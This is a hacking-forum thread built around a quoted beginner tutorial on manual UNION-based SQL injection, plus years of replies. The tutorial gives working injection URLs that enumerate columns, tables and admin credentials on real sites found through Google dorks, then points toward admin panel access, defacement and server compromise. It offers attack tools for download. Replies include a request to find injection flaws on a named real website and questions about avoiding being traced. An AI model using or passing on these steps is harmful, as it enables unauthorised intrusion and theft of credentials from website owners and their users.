(Jun 5, 2012 01:52 PM)siemz Wrote: [CITE](#) hey, great tutorial!

but when i use "union select "
i get this :

Invalid query: The used SELECT statements have a different number of columns

how ever i know there are 45 columns for sure, cause :
"Invalid query: Unknown column '45' in 'order clause'"

:\$ Help me out , please?

hey dude, great tutorial but ...
after i use the union select i get :
"Invalid query: The used SELECT statements have a different number of columns"

But i know for sure there are 45 columns cause ..
"Invalid query: Unknown column '45' in 'order clause'"

Invalid query: The used SELECT statements have a different number of columns
when using union select
any help?

Inva-lid qu-ery: The used SE-LE-CT statements have a different number of columns
when using union select
If it gave you unknown column 45 in order clause that means it has 44 columns

tiger101 - June 11, 2012, 4:49 pm

so much knowledge here, thank you :D

thank you for this tutorial . its been extremely helpful, keep it up my friend :D

thank you for this tutorial . its been extremely helpful, keep it up my friend :D

?SPAD3? - June 20, 2012, 2:27 am

Download link is down. Anyone have a mirror of the link? Thanks! nice tutorial btw! :)

Fridder - June 22, 2012, 9:32 am

Can you update the download link please? Great tut btw :)

Weite - June 22, 2012, 9:47 am

Can someone pls find sql injection on this site? <http://www.rubelj-grill.hr/index.html>

karlsenpwn - June 22, 2012, 11:10 am

Code:

sqlivulnerablesite.com/index.php?id=1 order by 1--
on that part, i never find the number who is supposed to be the unknown column.
is the error supposed to come in the URL or on the website ?

hiddendanger - June 22, 2012, 11:48 am

this is an excellent tut well done although the links broken

WinRAR™ - June 24, 2012, 12:07 am

Bump for this great tutorial :)! Helped me a lot.

Prominent - June 24, 2012, 2:17 am

Thats a a great tutorial Kr4z1. Good job :*

Injector - June 24, 2012, 2:46 am

Amazing tut best one I saw so far

Very hq

samla5 - June 24, 2012, 5:29 am

please update the link thanks mannnn

justicex3 - June 24, 2012, 11:01 am

I cant download. this link is broken :OOO

un4gettable - June 24, 2012, 1:33 pm

thanx mate ! :D

need more letters :p

Aenx - June 25, 2012, 11:07 pm

Both Link's the Download and the text converter are Broken

Dynasty@HF - June 27, 2012, 3:51 pm

perfect guide for a beginner like myself. thanks?

mafia sasi - July 6, 2012, 7:34 am

yea, it was a bit short though, i really found it useful but not completely because it just didn't make sense at times...

matisyahu - July 6, 2012, 7:41 am

Thanks for this amazing tutorial. I like it ! Great work..Keep going :)

ShUkErU - July 6, 2012, 9:43 pm

lol download link is broken bro, can you reupload the files thx

good tutorial. can u re-upload the link..

The scanner software would be great. can anyone reup or fix link?

Do you have an updated link of the tools? Thanks in advance...

Can you please update the links?

:) :) :) :) :) :)

Thank you a lot ! Great tuto ! :)

But can you fix the download link please ?

download not working dude.plz fix it ???

Great Tutorial! The download link is broken.

Easy to understand, i think every beginner can start with this. You will get a good TUT maker :-)

[illegible]

without the space. o_o

samrokzz - August 7, 2012, 5:11 am

Great tutorial . Thanks for sharing .

MajinVegeta - August 7, 2012, 9:19 am

thank you for the tutorial. but the download link is not anymore working. can you pls fix it?

BelmontKS - August 7, 2012, 3:32 pm

Great tutorial man! Kind of confusing though aha

~Wooly

Cedric. - August 8, 2012, 3:02 am

Your download link is down, any one knows where to find these tools?

thething88 - August 8, 2012, 3:02 pm

Sick tut thanks mate, appreciate it.

Zbnt - August 9, 2012, 2:16 pm

good tut bro still noobie with sql injection but this did help me out alot

Zen DF - August 9, 2012, 3:18 pm

Its always good to see people learning new things (:

allisonmagic - August 16, 2012, 4:01 pm

i think google is blocking the exploit scanner

Desdo - August 25, 2012, 8:44 am

hee bro,

Cant you send me the download link?

pleasure - August 25, 2012, 5:00 pm

can i have the download link please. The link is dead. thanks

XxAngelusMortisxX - August 26, 2012, 12:52 pm

When I do the union select all 1,2,3,4,5-- ((Because 5 is the number it was able to load, but numbers above it wouldn't)) and it came up with an empty white screen...

xAngelx - August 26, 2012, 1:46 pm

Link is broken.. Can you update it please ? ?

v0lts - August 31, 2012, 9:29 pm

you know how to edit sprites? pm me please

dark_kaizer - September 1, 2012, 11:29 pm

link is dead bro.. can you please reupload it?

pleasure - September 3, 2012, 8:35 pm

Pleas post the new link for reiluke sql scanner please

BlissEsso - September 4, 2012, 4:22 am

can you please update the .rar link mate. other wise great tutorial!

TK747 - October 21, 2012, 11:26 am

Amazin tutorial :) Thanks for sharing.
Link is broken, please re-upload it.
:)

Errorlulz - October 21, 2012, 12:02 pm

seems an amazing guide will learn something from it definatly assuming that using proxies and vpn for getting all the information is a must else its easy to get tracked back?

bencttr - October 21, 2012, 11:18 pm

i know right i jus finished today! ... ya

Coder-In-Train1ng - October 21, 2012, 11:30 pm

Omg thanks so much!
this got me a huge boost!
+1 vouch!

padrolemon - October 22, 2012, 1:04 am

Can you send me the link pls? Thanks in advance

Sought - October 22, 2012, 2:13 am

Nice tut but for people wanting to download this the dl link is broken

mesaa33 - October 22, 2012, 4:10 am

download link broken , fix this ...

MrYaYo - October 22, 2012, 4:18 am

wow thanks for the guide, very helpful!

dark_haxor - October 29, 2012, 7:31 am

The link is broken please fix it!!!
We need the tools

mohammed22 - October 29, 2012, 6:24 pm

The link is broken please fix it!!!
We need the tools

Kr4z1 - October 29, 2012, 7:35 pm

Hi guys sorry for the broken download link. It's been down for almost 2 years. I'll be replacing it as soon as I get home and I'll update the thread.

Threadmau5 - October 30, 2012, 7:30 am

Excited to try this once link is fixed:)

crackling - October 30, 2012, 6:31 pm

very nice tutorial man this should help the ones that know nothing yet

hydroximierda - October 30, 2012, 6:36 pm

the link is broken, fix it please... thxx

drcoder - October 31, 2012, 7:14 am

link is down :(fix it pls, thank you.

Roxy_30 - October 31, 2012, 8:42 am

What a great tut thanks for sharing and i hardly say this but love the color usage. Again awesome tutorial

Kobbi1 - November 6, 2012, 3:10 pm

The Download Link is broken for me...

blackbones - November 6, 2012, 11:59 pm

Thanks for the tutorial my friend... will help me a lot!

NikitoGR - December 7, 2012, 7:27 am

pffff link is broken There is no point with this thread

codefire - December 17, 2012, 2:44 am

what happens if there is only one column open?

kyle martindale - January 6, 2013, 8:52 am

Nice tutorial shame its copy pasted from hackthepc :(

skritler - February 20, 2013, 9:21 am

Thank you! This was very easy to follow and helped me to gain a better understanding of manual SQLI injection.

suntyop - February 20, 2013, 9:30 am

Thank you a lot, with your help a can touch the sky ! Lol, thanks :)

King of Diamonds - February 21, 2013, 6:40 pm

seems as if the download link isnt working, just an fyi

Posiedon - February 22, 2013, 9:00 pm

Please fix the download link. Tutorial looks really good and i would like to try it.

XxDevotedxX - February 23, 2013, 2:45 am

So epic omg best Ive seen so far Keep up the great work!

Pixelstealer - February 24, 2013, 12:34 pm

This is one very newb question but Im going to ask it ,If you dont use a proxy can you get caught if you can PM me please !

ZxCoolCatxZ - February 24, 2013, 8:35 pm

Nice tut man keep up the good work

?

Patchkillover - February 25, 2013, 3:18 am

Can anyone send me SQLiHelper as I cant find it anywhere apart from #%2

trulymike - February 25, 2013, 7:24 am

I cant download it.. its not the proper link PLEASE help me :(

Please give me the download link... Please...
the link mentioned on the tutorial doesn't work

thanx soo much

Agbeniga - February 28, 2013, 10:11 am

Good info. Thumbs up author.. I'm a newbie in this forum. Hope to learn something from you guys

silentalex - March 6, 2013, 2:38 pm

Thank you. This was a very helpful tutorial

georgedubai2 - March 11, 2013, 4:19 pm

this is by far the best sql injection tutorial out there

bigcuck_69 - March 12, 2013, 1:01 am

The link for download is dead or still broken,check it and see this is a good tutorial shot and simple ...but yeah check the download link u pasted

Rafaelinio - April 14, 2013, 10:36 am

Link doesn't work PLS fix
good tutorial

knight2007 - April 15, 2013, 7:09 am

can u reup the tools please ?
tut seems great

Toasties - April 16, 2013, 1:02 am

Good one dude. this helped me loads.

NeVrOx - April 16, 2013, 8:52 am

nice tutorial thanks for posting :)

Cletus Kasady - April 17, 2013, 8:24 am

Great tutorial but can you fix the download link ? Thanks

Theistic - April 17, 2013, 1:34 pm

(Jan 18, 2010 01:55 PM)Kr4z1 Wrote: [\[CITE\]](#) i fixed the link.
its updated

The download link is broken, i'm really needing these tools.

unknown01 - April 17, 2013, 5:11 pm

Any update on the link for the tools?

Expressive Hacking - April 17, 2013, 7:21 pm

(Jan 18, 2010 08:30 AM)Kr4z1 Wrote: [\[CITE\]](#) Hello fellow HF members. I've been wanting to post a tut on sql injection and here goes my take on it. Also please please leave me feedback and any suggestions. Thanks ?

What exactly is SQL Injection?

SQL Injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities

that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks. ([wikipedia definition](#))

What will I need to perform an SQL Injection attack?

- [+] exploit scanner
- [+] a good list of "google dorks"
- [+] admin finder
- [+] half a brain and the will to learn lol ?

I have provided all but 2 (in a .rar package available for download below) of the stated things above that you need. Also provided is a virus scan of the .rar for the skeptics lol

[CLICK HERE TO DOWNLOAD THE TOOLS](#)

Yes I know its 2/41. Its the exploit scanner. Its detected as a Exploits/Riskware scanner. I myself use this same tool and no I'm not infected.

Spoiler	(Click to View)	Code	Antivirus	Version	Last Update	Result
a-squared		4.5.0.50	2010.01.18	-		
AhnLab-V3		5.0.0.2	2010.01.18	-		
AntiVir		7.9.1.142	2010.01.18	SPR/Tool.ExpScan		
Antiy-AVL		2.0.3.7	2010.01.18	-		
Authentium		5.2.0.5	2010.01.18	-		
Avast		4.8.1351.0	2010.01.18	-		
AVG		9.0.0.730	2010.01.18	-		
BitDefender		7.2	2010.01.18	-		
CAT-QuickHeal		10.00	2010.01.18	-		
ClamAV		0.94.1	2010.01.18	-		
Comodo		3625	2010.01.18	-		
DrWeb		5.0.1.12222	2010.01.18	-		
eSafe		7.0.17.0	2010.01.17	-		
eTrust-Vet		35.2.7243	2010.01.18	-		
F-Prot		4.5.1.85	2010.01.17	-		
F-Secure		9.0.15370.0	2010.01.18	-		
Fortinet		4.0.14.0	2010.01.18	-		
GData		19	2010.01.18	-		
Ikarus		T3.1.1.80.0	2010.01.18	-		
Jiangmin		13.0.900	2010.01.18	-		
K7AntiVirus		7.10.949	2010.01.16	-		
Kaspersky		7.0.0.125	2010.01.18	-		
McAfee		5864	2010.01.17	-		
McAfee+Artemis		5864	2010.01.17	-		
McAfee-GW-Edition		6.8.5	2010.01.18	Riskware.Tool.ExpScan		
Microsoft		1.5302	2010.01.18	-		
NOD32		4783	2010.01.18	-		
Norman		6.04.03	2010.01.18	-		
nProtect		2009.1.8.0	2010.01.18	-		
Panda		10.0.2.2	2010.01.17	-		
PCTools		7.0.3.5	2010.01.18	-		
Prevx		3.0	2010.01.18	-		
Rising		22.31.00.04	2010.01.18	-		
Sophos		4.49.0	2010.01.18	-		

Sunbelt 3.2.1858.2 2010.01.17 -
Symantec 20091.2.0.41 2010.01.18 -
TheHacker 6.5.0.6.154 2010.01.18 -
TrendMicro 9.120.0.1004 2010.01.18 -
VBA32 3.12.12.1 2010.01.17 -
ViRobot 2010.1.18.2142 2010.01.18 -
VirusBuster 5.0.21.0 2010.01.18 -

Ok after you are done downloading the tools. Open the .rar located on your desktop. Now open the .txt called "dorks". From this list you can pick any dork you feel like scanning with. For good search results search for a dork like this.

Code `index.php?id=`

After you have chose a dork like above, copy it into your clipboard for further use. Now open your exploit scanner.exe. (scanner made by reiluke). At the top where it says "Dork" your going to want to paste your dork into the box. It should look something like this.

Spoiler ([Click to View](#))

Afer you have done this your going to want to switch your "Max Url" from 100 to 1000 for alot of search results. Then press scan on your exploit scanner. After it is done scanning your going to press "Test Sites". After all this is done you should have two lists and it should look like this.

Spoiler ([Click to View](#))

After it is done testing all scanned sites. These pre-tested sites might be sqli vulnerable. But you must first check each site individually. To test a individual site add a " ' " after the url. For example.

Code `sqlivulnerablesite.com/index.php?id=1'`

NOTE With this exploit scanner it auto-quotes all the urls.

Lets say for instance you found a site that might be vulnerable (or what you think maybe a vulnerable site). If a error on the web page comes up something like this.

Code You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' at line 1

Then its vulnerable to sql injection. The first step to this multi-step systematic attack on the sql databases is to found out the number of columns there is in the sql database. To found this out we use this code injection in the address bar after the website url. Like this.

Code `sqlivulnerablesite.com/index.php?id=1 order by 1--`

Load the page. If the page loads correctly with that code injection in the url then we are on the right track ?

Knowing that there is already 1 column in this database we do another code injection. Like this.

Code `sqlivulnerablesite.com/index.php?id=1 order by 2--`

If the page loads correctly again then this attack can still be performed.

Usually if the pages loads correctly after trying the #2 then I try stepping the number up to around 10.

NOTE If you load the web page on a code injection like this.

Code `sqlivulnerablesite.com/index.php?id=1 order by 10--`
and you get a result like this.

Code Unknown column '10' in 'order clause'

Then you must go down a number until you reach the number of columns that is in the database where it allows the web page to load correctly without any errors on the web page. For instance since the error on the web page said "unknown column '10'" we must go down to the number 9. Like this.

Code `sqlivulnerablesite.com/index.php?id=1 order by 9--`

If your page loads correctly then this means there is 9 columns in the database ?

The next step in this attack is to find out what column is vulnerable to our attack. We use this code injection in your address bar after the vulnerable site. Like this.

Code `sqlivulnerablesite.com/index.php?id=1 union all select 1,2,3,4,5,6,7,8,9--`

After you have loaded the page it should show which columns are vulnerable. Usually shows about 2-3 columns. I personally use the the lowest number that is vulnerable. For instance "2". Lets say the vulnerable column in the database is "2". The next code injection we use is to found out the version of the database. Like This.

Code `sqlivulnerablesite.com/index.php?id=1 union all select 1,@@version,3,4,5,6,7,8,9`

When the web page is loaded, where the number "2" was on the web page there should be in place of it the "database version". It is best if you a beginner to make sure the database version is 5.0 on higher like 5.0.17. Anything below 5.0 you are going to be required to brute force each of the tables for information. So now that we have the database version which is "5.0.17", we must now find the table names with this code injection at the top in your address bar.

Code `sqlivulnerablesite.com/index.php?id=1 union all select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables--`

After the page is loaded it should have all the table names on the web page. The table name that your going to want to find is admins. Once you have found admins or something that is similar to that, then we do another code injection to found out that columns which are in that table with this code.

Code `sqlivulnerablesite.com/index.php?id=1 union all select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=char(x)--`

NOTE Here (x) is the ascii value of the table name.

Now we must find the ascii value of the word admins.

[GO HERE TO CONVERT TEXT TO ASCII](#)

The ascii value of admins is

Code `& #97 ; & #100 ; & #109 ; & #105 ; & #110 ; & #115 ;`

Delete all the ";", "#", and "&". So it should look like this.

Code `97,100,109,105,110,115`

Now replace the the "x" with that ascii number code. Now your new code injection should look something like this. Enter it in your url address bar.

Code `sqlivulnerablesite.com/index.php?id=1 union all select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=char(97,100,109,105,110,115)--`

When the page loads you should get something like/similar to username and password on the web page. To get the data from that column you must use a code injection like this.

Code `sqlivulnerablesite.com/index.php?id=1 union all select 1,concat(username),0x3a,(password),3,4,5,6,7,8,9 from --`
NOTE (0x3a) is the ascii value of the column name

When the page loads it should show the data of the username and password for cpanel access.

Now to access the cpanel we must find the login page. I provided a admin finder.exe in the .rar. Open it up and type in the url of your vulnerable site. From there it scan till it finds the login page for admin cpanel access. Which can lead to defacement and web server compromise.

Hopefully someone found this thread useful/helpful. I take full credit in writing this tutorial out. PM me if you need any further help with your sql injections! ?

Tutorial By KraZi

please reply to me the download link doesn't work for me

#Skyline - April 18, 2013, 2:28 am

Just to make it 500 posts, and great tutorial by the way.

xiTeL2k10 - April 18, 2013, 3:38 am

Hey dude. Good tut. but can you fix the download link?

unknown01 - April 27, 2013, 11:02 am

I dont think there will be an update for the fixed links. The last time the op was put up was in 2010

Tezoos - April 27, 2013, 12:03 pm

ty helped alot! will defo use this to test some sites if you know what i mean ;)

alexlandonflicksss - April 28, 2013, 1:46 am

Nice tut.. but please Fix the download link ASAP !! ?

Shadowed s0ul - April 28, 2013, 11:33 pm

The link's broken..again

Message must be longer than 35 characters

Theistic - April 28, 2013, 11:34 pm

Great tutorial, helped a little. Its a little low standard. But thanks alot for this man.

aelozore - May 19, 2013, 3:49 am

download links dead, anyone want to give them for me? thanks in-advance.

cnnngwzrd - September 30, 2013, 7:33 am

Thanks for the tut. Will have to find software somewhere else.

Kirbyix - September 30, 2013, 3:43 pm

Thanks for the post I am going to do this!

Rick Adam - May 26, 2014, 10:31 am

please update the download link, thanks.

kkari - May 27, 2014, 12:40 am

Great Tut. but please could You update the download link, thanks.

bombon - June 23, 2014, 11:43 am

Good tutorial for beginners. Thumbs up ;)

topcoders - June 24, 2014, 12:13 am

nice tutorial man perfectly fine for newbie

sptheghost - June 24, 2014, 5:44 pm

well, the download link is no longer available..but should i be surprised. the post is some years old. Thanks anyway

soulliskid - June 25, 2014, 7:22 am

kinda new to the site,but download link won't work

Spider86 - June 26, 2014, 10:52 pm

The download link doesn't work anymore,can you fix it?

Jibbe - June 27, 2014, 7:42 am

Almost every site i visited is just loading the page correct when putting a ' after the url. Do i do something wrong?

vivek007 - July 5, 2014, 2:24 pm

well, the download link is no longer available. ! plz update !

scousejft96 - December 29, 2014, 4:27 pm

Cheers thanks for the tut' its helped me out.

RootsLurker - December 31, 2014, 9:49 am

Really nice tutorial!

Just got one question though, can you do anything worse with SQL injecting on websites, or is it just for gathering info from prone to attack websites and servers?

Thanks

~Roots

eimatam - January 1, 2015, 2:44 pm

Awesome tut ! Hopefully I'm able to learn this without looking at the thread each time I do something :D

chomani - January 1, 2015, 4:01 pm

well done my brather Matter sanguine of useful

CatXXX - January 3, 2015, 9:34 am

Awesome tut, but need update the link

zpshannon - January 3, 2015, 1:50 pm

Anybody have a download for the tools?

LDK159 - February 2, 2015, 7:10 am

Really nice tutorial! but need update the link.

hackerz08 - December 18, 2015, 7:34 pm

sir plsss update the link i want to use that TUT plssss sir update the links tn timer

casruf - December 18, 2015, 9:16 pm

Nice tut, thank you for posting.

MrKingLazer - December 19, 2015, 1:06 am

[quote='Kr4z1' pid='2241353' dateline='1263828640']

Hello fellow HF members. I've been wanting to post a tut on sql injection and here goes my take on it. Also please please leave me feedback and any suggestions. Thanks ?

thanks this really helped me out

MrPassmaster - December 19, 2015, 10:55 am

i have some huge problem on hex please help me .!

xetrics - December 19, 2015, 4:31 pm

Could you fix the download?

Beast2life - December 21, 2015, 8:33 am

its much easier if you have kali installed.

DROP TABLE users - July 29, 2016, 4:03 am

very nice tutorial. I'm wondering if the last code you showed gives an error? bc you tried to concate(uname),0x3a, (pass) and then went to ,3,4,5...

mefkureci - August 8, 2016, 11:10 am

The download link is broken.

ryxzen - September 5, 2016, 10:19 am

Is there an alternative if the tools were not downloaded? Thanks for the great work by the way.

infernum - September 6, 2016, 2:02 am

The download link is broken.

58815 - September 6, 2016, 1:49 pm

Search for a guy called the pentest monkey, he's got good sql injection cheat sheets.

Mail Merge - September 6, 2016, 9:16 pm

Excellent threat, it has taught me loads! Thank you

fox30 - September 11, 2016, 9:22 am

so good tut

keep it up bro

BloodCyka - September 11, 2016, 6:18 pm

can anyone reupload those programs

athenas - September 21, 2016, 12:06 am

great tutorial , keep it up :)

MyRambo - September 21, 2016, 12:54 am

Thanks you for the sharing this !

420coupe - September 21, 2016, 2:47 pm

Great tutorial, thanks OP for sharing very much appreciated.

LlamaZombi - September 21, 2016, 11:06 pm

You are the best ! i knowe that 2016 but can you reupload the tool ?

JustANewbie - November 9, 2016, 1:06 pm

I don't manage to get the data out of the columns :/
What would be the hex ascii of 'users'?

But very nice tut! :)

XxRobbie - November 10, 2016, 5:12 pm

Broken link, mind fixing it?

Mr.Panda - November 11, 2016, 11:57 am

Great tutorial :) That really good for me :)

hereitcomes - November 12, 2016, 1:53 pm

Really good guide thanks for taking the time to post it!

LostInTimeAndSpace - November 13, 2016, 12:29 pm

Better use Havji and don't waste time for typing all this commands :P

....very good tutorial :)

DarkDragon™ - November 14, 2016, 2:02 pm

(Nov 9, 2016 02:06 PM)JustANewbie Wrote: [\[CITE\]](#) I don't manage to get the data out of the columns :/

What would be the hex ascii of 'users'?

But very nice tut! :)

ahahha dude you made my day you gravedig with your first post of this forum ?

atha - February 5, 2017, 11:00 pm

Nice tutorial. Simple and very useful. Thanks for share.

alioujlan - February 7, 2017, 8:49 am

good tuto bro hope still workin

radicalxfrosty - February 8, 2017, 9:30 am

Thanks for this detailed tutorial!

KingRy - February 8, 2017, 10:42 am

This tutorial is from 2010, dunno why it's coming back to life

riggedreality - February 8, 2017, 2:28 pm

Thanks for making this tutorial very nice

arie307 - February 9, 2017, 11:24 pm

good tutotr
but I need dorks now

MrGambler - *February 10, 2017, 2:29 am*

(Feb 10, 2017 12:24 AM)arie307 Wrote: [\[CITE\]](#) good tutotr
but I need dorks now
just google it man!